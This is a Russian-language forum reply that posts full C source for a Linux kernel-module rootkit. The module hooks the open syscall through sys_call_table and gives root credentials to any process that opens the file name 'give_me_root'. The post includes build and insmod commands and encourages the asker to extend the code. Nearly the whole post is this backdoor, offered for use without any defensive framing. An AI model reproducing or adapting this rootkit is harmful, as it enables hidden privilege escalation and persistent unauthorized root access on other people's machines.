>Можешь показать? А то так понятно, но было б не плохо посмотреть...
>
>Буду ОЧЕНЬ ПРИЗНАТЕЛЕН.
Ну вот тебе пример простого руткита для Linux (хотя вообще это классика, и кто угодно, хоть немного писавший ядерный код, сделает это за 5 минут)
#define KEYWORD "give_me_root"
#include <linux/kernel.h>
#include <linux/sched.h>
#include <syscall.h>
#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#else
#define MOD_INC_USE_COUNT;
#define MOD_DEC_USE_COUNT;
#endif
extern void * sys_call_table[];
extern struct task_struct *current;
int(* orig_open)(const char *, int, int);
int our_open (const char * name, int flags, int mode)
{
char *nn = getname(name);
if (strcmp(nn,KEYWORD)==0)
{
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return(orig_open(name, flags, mode));
}
return(orig_open(name, flags, mode));
}
int init_module(void)
{
printk("r00t_kit module started");
orig_open = sys_call_table[SYS_open];
sys_call_table[SYS_open] = our_open;
printk(" and loaded - OK\n");
return 0;
}
void cleanup_module(void)
{
printk("r00t_kit module stoped");
sys_call_table[SYS_open] = orig_open;
printk(" and unloaded - OK\n");
}
Обрати внимание на указатель current в функции our_open, это и есть исчерпывающая инфа о процессе, пытающемся на данный момент открыть файл name.
Соберешь эту байду: gcc -s -O3 -I/usr/src/linux/include -DMODULE -D__KERNEL__ -c rootkit.c
Вставишь от рута: insmod -f rootkit.o
И радуйся, типа...
Помоему на базе этого кода совсем несложно сделать то, что тебе надо.